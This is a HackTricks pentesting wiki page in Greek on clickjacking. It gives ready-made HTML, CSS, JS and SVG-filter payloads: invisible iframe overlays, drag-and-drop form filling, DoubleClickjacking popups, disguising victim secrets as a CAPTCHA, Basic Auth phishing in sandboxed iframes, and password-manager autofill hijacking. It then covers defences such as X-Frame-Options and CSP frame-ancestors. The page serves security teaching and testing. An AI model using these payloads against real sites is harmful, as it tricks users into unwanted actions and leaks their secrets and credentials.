Clickjacking

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Τι είναι το Clickjacking

Σε μια επίθεση clickjacking, ένας χρήστης εξαπατάται ώστε να πατήσει ένα στοιχείο σε μια ιστοσελίδα που είναι είτε αόρατο είτε μεταμφιεσμένο ως άλλο στοιχείο. Αυτή η χειραγώγηση μπορεί να οδηγήσει σε ανεπιθύμητες συνέπειες για τον χρήστη, όπως η λήψη malware, η ανακατεύθυνση σε κακόβουλες ιστοσελίδες, η παροχή διαπιστευτηρίων ή ευαίσθητων πληροφοριών, μεταφορές χρημάτων ή η αγορά προϊόντων online.

Κόλπο προ-συμπλήρωσης φορμών

Μερικές φορές είναι δυνατό να συμπληρωθεί η τιμή πεδίων μιας φόρμας χρησιμοποιώντας GET παραμέτρους κατά τη φόρτωση μιας σελίδας. Ένας επιτιθέμενος μπορεί να εκμεταλλευτεί αυτή τη συμπεριφορά για να συμπληρώσει μια φόρμα με αυθαίρετα δεδομένα και να στείλει το clickjacking payload ώστε ο χρήστης να πατήσει το κουμπί Submit.

Συμπλήρωση φόρμας με Drag&Drop

Αν χρειάζεστε ο χρήστης να συμπληρώσει μια φόρμα αλλά δεν θέλετε να του ζητήσετε απευθείας να γράψει συγκεκριμένες πληροφορίες (όπως το email ή κάποιο συγκεκριμένο password που γνωρίζετε), μπορείτε απλά να του ζητήσετε να Drag&Drop κάτι που θα γράψει τα δεδομένα που ελέγχετε, όπως στο this example.

Βασικό Payload

<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>

Πολυσταδιακό Payload

<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>

Σύρσιμο&Απόθεση + Click payload

<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>

XSS + Clickjacking

If you have identified an XSS επίθεση που απαιτεί από χρήστη να κάνει κλικ σε κάποιο στοιχείο για να trigger το XSS και η σελίδα είναι vulnerable to clickjacking, μπορείτε να το εκμεταλλευτείτε για να εξαπατήσετε τον χρήστη να πατήσει το κουμπί/σύνδεσμο.
Example:
You found a self XSS σε κάποια private στοιχεία του λογαριασμού (στοιχεία που μόνο εσείς μπορείτε να ορίσετε και να διαβάσετε). Η σελίδα με την φόρμα για να ορίσετε αυτά τα στοιχεία είναι vulnerable σε Clickjacking και μπορείτε να προγεμίσετε την φόρμα με τις παραμέτρους GET.
An attacker could prepare a Clickjacking attack προς αυτή τη σελίδα προγεμίζοντας την φόρμα με το XSS payload και εξαπατώντας τον χρήστη να υποβάλει τη φόρμα. Έτσι, όταν η φόρμα υποβληθεί και οι τιμές αλλάξουν, ο χρήστης θα εκτελέσει το XSS.

DoubleClickjacking

Αρχικά εξηγείται σε αυτό το post, αυτή η τεχνική ζητά από το θύμα να κάνει διπλό κλικ σε ένα κουμπί μιας custom σελίδας τοποθετημένης σε συγκεκριμένη θέση, και χρησιμοποιεί τις χρονικές διαφορές μεταξύ των mousedown και onclick events για να φορτώσει τη σελίδα του θύματος κατά τη διάρκεια του διπλού κλικ ώστε το θύμα στην πραγματικότητα να πατήσει ένα νόμιμο κουμπί στη σελίδα του θύματος.

An example could be seen in this video: https://www.youtube.com/watch?v=4rGvRRMrD18

A code example can be found in αυτή τη σελίδα.

Warning

Αυτή η τεχνική επιτρέπει να εξαπατήσετε τον χρήστη να κάνει κλικ σε 1 σημείο στη σελίδα του θύματος παρακάμπτοντας κάθε προστασία ενάντια στο clickjacking. Έτσι ο επιτιθέμενος χρειάζεται να βρει ευαίσθητες ενέργειες που μπορούν να γίνουν με μόνο 1 κλικ, όπως προτροπές OAuth που αποδέχονται δικαιώματα.

Some PoCs εγκαταλείπουν εντελώς τα iframes και κρατούν ένα background popup στοιχισμένο κάτω από τον κέρσορα. Η σελίδα του attacker παρακολουθεί το mousemove και χρησιμοποιεί ένα μικρό popup (window.open) που μετακινείται με moveTo() ενώ είναι same-origin; μόλις στοιχιστεί, ανακατευθύνεται πίσω στο target origin ώστε το επόμενο κλικ να προσγειωθεί στο πραγματικό κουμπί. Επειδή το cross‑origin moveTo() μπλοκάρεται, το popup πλοηγείται προσωρινά σε attacker origin για επανατοποθέτηση, μετά location/history.back() επιστρέφει στον target. Για να εμφανιστεί ο στόχος τη στιγμή του κλικ, ο attacker μπορεί να ξανανοίξει το popup με το ίδιο window name για να το φέρει στο προσκήνιο χωρίς να αλλάξει το URL.

<script>
let w;
onclick = () => {
if (!w) w = window.open('/shim', 'pj', 'width=360,height=240');
onmousemove = e => { try { w.moveTo(e.screenX, e.screenY); } catch {} };
// When ready, refocus the already-loaded popup
window.open('', 'pj');
};
</script>

SVG Filters / Cross-Origin Iframe UI Redressing

Οι σύγχρονες εκδόσεις Chromium/WebKit/Gecko επιτρέπουν την εφαρμογή του CSS filter:url(#id) σε cross-origin iframes. Τα ραστεροποιημένα pixels του iframe εκτίθενται στο SVG filter graph ως SourceGraphic, οπότε primitives όπως feDisplacementMap, feBlend, feComposite, feColorMatrix, feTile, feMorphology, κ.λπ. μπορούν να παραμορφώσουν αυθαίρετα το UI του θύματος πριν το δει ο χρήστης, παρόλο που ο επιτιθέμενος δεν αγγίζει ποτέ το DOM. Ένα απλό Liquid-Glass style filter φαίνεται ως εξής:

<iframe src="https://victim.example" style="filter:url(#displacementFilter4)"></iframe>
  • Χρήσιμες λειτουργίες: feImage φορτώνει bitmap του επιτιθέμενου (π.χ., overlays, displacement maps); feFlood δημιουργεί μάσκες σταθερού χρώματος; feOffset/feGaussianBlur βελτιώνουν τα τονισμένα σημεία; feDisplacementMap παραμορφώνει/στρεβλώνει κείμενο; feComposite operator="arithmetic" υλοποιεί αυθαίρετες αριθμητικές πράξεις ανά κανάλι (r = k1*i1*i2 + k2*i1 + k3*i2 + k4), που αρκούν για ενίσχυση αντίθεσης, μάσκες και λογικές πράξεις AND/OR; feTile κόβει και αναπαράγει δείγματα pixel; feMorphology επεκτείνει/συρρικνώνει περιγράμματα; feColorMatrix μεταφέρει τη luma στο alpha για να δημιουργήσει ακριβείς μάσκες.

Παραμόρφωση μυστικών σε προτροπές τύπου CAPTCHA

Αν ένα framable endpoint αποδίδει μυστικά (tokens, reset codes, API keys), ο επιτιθέμενος μπορεί να τα παραμορφώσει ώστε να μοιάζουν με CAPTCHA και να εξαναγκάσει χειροκίνητη μεταγραφή:

<svg width="0" height="0">
<filter id="captchaFilter">
<feTurbulence type="turbulence" baseFrequency="0.03" numOctaves="4" result="noise" />
<feDisplacementMap in="SourceGraphic" in2="noise" scale="6" xChannelSelector="R" yChannelSelector="G" />
</filter>
</svg>
<iframe src="https://victim" style="filter:url(#captchaFilter)"></iframe>
<input pattern="^6c79 ?7261 ?706f ?6e79$" required>

The distorted pixels fool the user into “solving” the captcha inside the attacker-controlled <input> whose pattern enforces the real victim secret.

Αναπλαισίωση των εισαγωγών του θύματος

Τα φίλτρα μπορούν να διαγράψουν χειρουργικά το placeholder/validation κείμενο ενώ διατηρούν τα πληκτρολογήματα του χρήστη. Μία ροή εργασίας:

  1. feComposite operator="arithmetic" k2≈4 ενισχύει τη φωτεινότητα ώστε το γκρι βοηθητικό κείμενο να κορεστεί σε λευκό.
  2. feTile περιορίζει την περιοχή εργασίας στο ορθογώνιο του input.
  3. feMorphology operator="erode" παχύνει τους σκούρους χαρακτήρες που πληκτρολογεί το θύμα και τους αποθηκεύει μέσω του result="thick".
  4. feFlood δημιουργεί μια λευκή πλάκα, feBlend mode="difference" με το thick, και ένα δεύτερο feComposite k2≈100 το μετατρέπει σε έντονο luma matte.
  5. feColorMatrix μεταφέρει εκείνο το luma στο alpha, και feComposite in="SourceGraphic" operator="in" κρατάει μόνο τους χαρακτήρες που εισήγαγε ο χρήστης.
  6. Ένα ακόμα feBlend in2="white" συν μια λεπτή περικοπή δίνουν ένα καθαρό textbox, μετά από το οποίο ο attacker επικαλύπτει τις δικές του HTML ετικέτες (π.χ. «Εισάγετε το email σας») ενώ το κρυφό iframe εξακολουθεί να επιβάλει την πολιτική κωδικών πρόσβασης του origin του θύματος.

Το Safari δυσκολεύεται με το feTile; το ίδιο αποτέλεσμα μπορεί να αναπαραχθεί με χωρικές μάσκες φτιαγμένες από feFlood + feColorMatrix + feComposite για WebKit-only payloads.

Ανιχνεύσεις πίξελ, λογική και μηχανές κατάστασης

Κόβοντας μια περιοχή 2–4 px με feTile και πλακώνοντάς την στο 100% του viewport, ο attacker μετασχηματίζει το δειγματοληπτημένο χρώμα σε μια υφή πλήρους πλαισίου που μπορεί να μετατραπεί με threshold σε μια λογική μάσκα:

<filter id="pixelProbe">
<feTile x="313" y="141" width="4" height="4" />
<feTile x="0" y="0" width="100%" height="100%" result="probe" />
<feComposite in="probe" operator="arithmetic" k2="120" k4="-1" />
<feColorMatrix type="matrix" values="0 0 0 0 0  0 0 0 0 0  0 0 0 0 0  0 0 1 0 0" result="mask" />
<feGaussianBlur in="SourceGraphic" stdDeviation="2" />
<feComposite operator="in" in2="mask" />
<feBlend in2="SourceGraphic" />
</filter>

Για οποιαδήποτε χρώματα, μια αναφορά feFlood (π.χ. #0B57D0) μαζί με feBlend mode="difference" και ένα άλλο arithmetic composite (k2≈100, k4 ως ανοχή) παράγει λευκό μόνο όταν το δειγματοληπτούμενο pixel ταιριάζει με την στοχευμένη απόχρωση. Τροφοδοτώντας αυτές τις μάσκες στο feComposite με ρυθμισμένα k1..k4 προκύπτουν λογικές πύλες: AND με k1=1, OR με k2=k3=1, XOR με feBlend mode="difference", NOT με ανάμειξη εναντίον του λευκού. Η αλληλοσύνδεση πυλών δημιουργεί έναν πλήρη προσθετή μέσα στο filter graph, αποδεικνύοντας ότι ο αγωγός είναι λειτουργικά πλήρης.

Οι επιτιθέμενοι μπορούν επομένως να διαβάσουν την κατάσταση του UI χωρίς JavaScript. Παράδειγμα boolean από μια modal ροή εργασίας:

  • D (dialog visible): ανιχνεύστε μια σκοτισμένη γωνία και ελέγξτε έναντι του λευκού.
  • L (dialog loaded): ανιχνεύστε τις συντεταγμένες όπου εμφανίζεται το κουμπί μόλις είναι έτοιμο.
  • C (checkbox checked): συγκρίνετε το pixel του checkbox με το ενεργό μπλε #0B57D0.
  • R (red success/failure banner): χρησιμοποιήστε feMorphology και κόκκινες κατώφλιες μέσα στο ορθογώνιο του banner.

Κάθε ανιχνευμένη κατάσταση λειτουργεί ως πύλη για διαφορετικό overlay bitmap ενσωματωμένο μέσω feImage xlink:href="data:...". Η μάσκωση αυτών των bitmaps με D, L, C, R κρατάει τα overlays συγχρονισμένα με τον πραγματικό διάλογο και καθοδηγεί το θύμα μέσω πολύ-βηματικών ροών εργασίας (επαναφορές κωδικών, εγκρίσεις, καταστροφικές επιβεβαιώσεις) χωρίς ποτέ να αποκαλύπτει το DOM.

Sandboxed iframe Basic Auth διάλογος (no allow-popups)

Ένα sandboxed iframe χωρίς allow-popups μπορεί παρ’ όλα αυτά να εμφανίσει έναν browser-controlled HTTP Basic Authentication modal όταν ένα φορτίο επιστρέφει 401 με WWW-Authenticate. Ο διάλογος δημιουργείται από το networking/auth layer του browser (όχι από JS alert/prompt/confirm), οπότε οι περιορισμοί popup στο sandbox δεν τον καταστέλλουν. Αν μπορείτε να εκτελέσετε scripts στο iframe (π.χ., sandbox="allow-scripts") μπορείτε να το πλοηγήσετε σε οποιοδήποτε endpoint που εκδίδει μια Basic Auth πρόκληση:

<iframe id="basic" sandbox="allow-scripts"></iframe>
<script>
basic.src = "https://httpbin.org/basic-auth/user/pass"
</script>

Μόλις φτάσει η απάντηση, το πρόγραμμα περιήγησης ζητά διαπιστευτήρια παρόλο που τα αναδυόμενα παράθυρα απαγορεύονται. Το να κάνεις framing σε μια αξιόπιστη προέλευση με αυτό το τέχνασμα επιτρέπει UI redress/phishing: απροσδόκητες modal προτροπές μέσα σε ένα “sandboxed” widget μπορούν να μπερδέψουν τους χρήστες ή να ενεργοποιήσουν τα password managers ώστε να προσφέρουν αποθηκευμένα διαπιστευτήρια.

Browser extensions: DOM-based autofill clickjacking

Εκτός από το iframing σε σελίδες του θύματος, οι επιτιθέμενοι μπορούν να στοχεύσουν στοιχεία UI επεκτάσεων του browser που εγχύονται στη σελίδα. Τα password managers αποδίδουν autofill dropdowns κοντά σε εστιασμένα inputs· εστιάζοντας ένα πεδίο που ελέγχεται από τον επιτιθέμενο και κρύβοντας/αποκρύπτοντας το dropdown της επέκτασης (κόλπα opacity/overlay/top-layer), ένα εξαναγκασμένο κλικ χρήστη μπορεί να επιλέξει ένα αποθηκευμένο στοιχείο και να γεμίσει ευαίσθητα δεδομένα σε inputs που ελέγχονται από τον επιτιθέμενο. Αυτή η παραλλαγή δεν απαιτεί έκθεση μέσω iframe και λειτουργεί εξ ολοκλήρου μέσω DOM/CSS manipulation.

A real-world case: Dashlane disclosed a passkey dialog clickjacking issue (Aug 2025) where XSS on the relying-party domain allowed an attacker to overlay HTML over the extension’s passkey dialog. A click on the attacker’s element would proceed with the legitimate passkey login (the passkey itself isn’t exposed), effectively turning a UI-redress into account access if the RP is already vulnerable to script injection.

Strategies to Mitigate Clickjacking

Client-Side Defenses

Σενάρια που εκτελούνται στην πλευρά του client μπορούν να πραγματοποιήσουν ενέργειες για να εμποδίσουν το Clickjacking:

  • Διασφάλιση ότι το παράθυρο της εφαρμογής είναι το κύριο ή το top window.
  • Κάνοντας όλα τα frames ορατά.
  • Αποτροπή κλικ σε αόρατα frames.
  • Εντοπισμός και ειδοποίηση των χρηστών για πιθανές προσπάθειες Clickjacking.

Ωστόσο, αυτά τα frame-busting scripts μπορούν να παρακαμφθούν:

  • Browsers’ Security Settings: Ορισμένα προγράμματα περιήγησης μπορεί να μπλοκάρουν αυτά τα scripts βάσει των ρυθμίσεων ασφάλειας ή της έλλειψης υποστήριξης JavaScript.
  • HTML5 iframe sandbox Attribute: Ένας επιτιθέμενος μπορεί να εξουδετερώσει frame buster scripts θέτοντας την sandbox attribute με τιμές allow-forms ή allow-scripts χωρίς allow-top-navigation. Αυτό εμποδίζει το iframe από το να επαληθεύσει αν είναι το top window, π.χ.
<iframe
id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>

Οι τιμές allow-forms και allow-scripts ενεργοποιούν ενέργειες εντός του iframe ενώ απενεργοποιούν την πλοήγηση σε ανώτερο επίπεδο. Για να διασφαλιστεί η επιθυμητή λειτουργικότητα του στοχευόμενου site, ίσως χρειάζονται επιπλέον δικαιώματα όπως allow-same-origin και allow-modals, ανάλογα με τον τύπο επίθεσης. Τα μηνύματα της κονσόλας του προγράμματος περιήγησης μπορούν να υποδείξουν ποια δικαιώματα πρέπει να επιτραπούν.

Αμυντικές τεχνικές στην πλευρά του server

X-Frame-Options

Ο HTTP response header X-Frame-Options ενημερώνει τα προγράμματα περιήγησης σχετικά με το αν είναι έγκυρο να αποδοθεί μια σελίδα σε <frame> ή <iframe>, βοηθώντας στην πρόληψη του Clickjacking:

  • X-Frame-Options: deny - Κανένα domain δεν μπορεί να εμφανίσει το περιεχόμενο σε frame.
  • X-Frame-Options: sameorigin - Μόνο ο ίδιος ιστότοπος μπορεί να ενσωματώσει το περιεχόμενο.
  • X-Frame-Options: allow-from https://trusted.com - Μόνο το καθορισμένο ‘uri’ μπορεί να ενσωματώσει τη σελίδα.
  • Σημειώστε τους περιορισμούς: εάν το πρόγραμμα περιήγησης δεν υποστηρίζει αυτήν την οδηγία, μπορεί να μην λειτουργεί. Ορισμένα προγράμματα περιήγησης προτιμούν την οδηγία CSP frame-ancestors.

Διεύθυνση frame-ancestors του Content Security Policy (CSP)

Η οδηγία frame-ancestors στο CSP είναι ο συνιστώμενος τρόπος προστασίας από Clickjacking:

  • frame-ancestors 'none' - Παρόμοιο με X-Frame-Options: deny.
  • frame-ancestors 'self' - Παρόμοιο με X-Frame-Options: sameorigin.
  • frame-ancestors trusted.com - Παρόμοιο με X-Frame-Options: allow-from.

Για παράδειγμα, η ακόλουθη πολιτική CSP επιτρέπει ενσωμάτωση μόνο από το ίδιο domain:

Content-Security-Policy: frame-ancestors 'self';

Περισσότερες λεπτομέρειες και σύνθετα παραδείγματα υπάρχουν στην frame-ancestors CSP documentation και στην Mozilla’s CSP frame-ancestors documentation.

Content Security Policy (CSP) με child-src και frame-src

Content Security Policy (CSP) είναι ένα μέτρο ασφάλειας που βοηθά στην αποτροπή του Clickjacking και άλλων επιθέσεων έγχυσης κώδικα, καθορίζοντας ποιες πηγές θα επιτρέψει το πρόγραμμα περιήγησης να φορτώσουν περιεχόμενο.

frame-src Directive

  • Ορίζει έγκυρες πηγές για frames.
  • Πιο συγκεκριμένη από την οδηγία default-src.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;

Αυτή η πολιτική επιτρέπει πλαίσια από την ίδια προέλευση (self) και https://trusted-website.com.

child-src Οδηγία

  • Εισήχθη στο CSP επίπεδο 2 για να ορίσει έγκυρες πηγές για web workers και πλαίσια.
  • Λειτουργεί ως εφεδρική ρύθμιση για frame-src και worker-src.
Content-Security-Policy: child-src 'self' https://trusted-website.com;

Αυτή η πολιτική επιτρέπει frames και workers από την ίδια προέλευση (self) και https://trusted-website.com.

Σημειώσεις Χρήσης:

  • Απόσυρση: child-src καταργείται σταδιακά υπέρ των frame-src και worker-src.
  • Συμπεριφορά εφεδρείας: Εάν το frame-src απουσιάζει, το child-src χρησιμοποιείται ως εφεδρική λύση για frames. Εάν και τα δύο απουσιάζουν, χρησιμοποιείται το default-src.
  • Αυστηρός ορισμός πηγών: Συμπεριλάβετε μόνο αξιόπιστες πηγές στις οδηγίες για να αποτρέψετε εκμετάλλευση.

JavaScript Frame-Breaking Scripts

Αν και δεν είναι εντελώς αλάνθαστα, JavaScript-based frame-busting scripts μπορούν να χρησιμοποιηθούν για να αποτρέψουν μια ιστοσελίδα από το να τοποθετηθεί σε frame. Παράδειγμα:

if (top !== self) {
top.location = self.location
}

Χρήση Anti-CSRF Tokens

  • Token Validation: Χρησιμοποιήστε anti-CSRF tokens σε εφαρμογές web για να διασφαλίσετε ότι τα αιτήματα που αλλάζουν κατάσταση γίνονται σκόπιμα από τον χρήστη και όχι μέσω μιας Clickjacked σελίδας.

Αναφορές

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks